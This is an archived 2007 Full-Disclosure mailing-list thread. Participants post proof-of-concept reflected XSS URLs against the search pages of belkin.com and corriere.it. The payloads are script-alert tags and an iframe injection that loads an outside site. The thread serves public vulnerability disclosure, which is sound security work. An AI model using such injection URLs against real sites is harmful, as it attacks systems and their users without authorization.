[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Full-disclosure] informative...

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Andrea Purificato - bunker wrote:
> Il giorno mer, 29/08/2007 alle 09.31 -0400, Fabrizio ha scritto:
>> And even more informative....
>>
>> http://www.belkin.com/search/?q=%3cscript%3ealert('XSS')%3c%2fscript%
>> 3e&sid=1
>>
> 
> [Informative 2]
> 
> It seems a common practice, otherwise they were warned months ago, but
> no answer...
> 
> http://sitesearch.corriere.it/searchresults.jsp?adsEnvironment=corriere&channel_par=corriere&ricerca_par=%22%3Cscript%3Ealert('XSS');%3C/script%3E
> 
> 
> Bye,

Informative 3: The 'did you mean' feature even xss' itself...

http://www.belkin.com/search/?q=%3ciframe+border%3d0+width%3d700+height%3d400+src%3d%22http%3a%2f%2fwww.bitrain.net%22%3e%3c%2fiframe%3e&sid=1

- --Fabian

- --
"You could start by defining the meaning of certain esoteric terms, like
'Doesn't work', for exfuckingample." (Kadaitcha Man)

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQFG3F3+OG44jO5akmwRAqytAKDFwuBuctc8GD/N2Qe3uPFzoLsvAACgoy2F
+tcYMX85bCXRx0Z0by7bIdA=
=sAwW
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/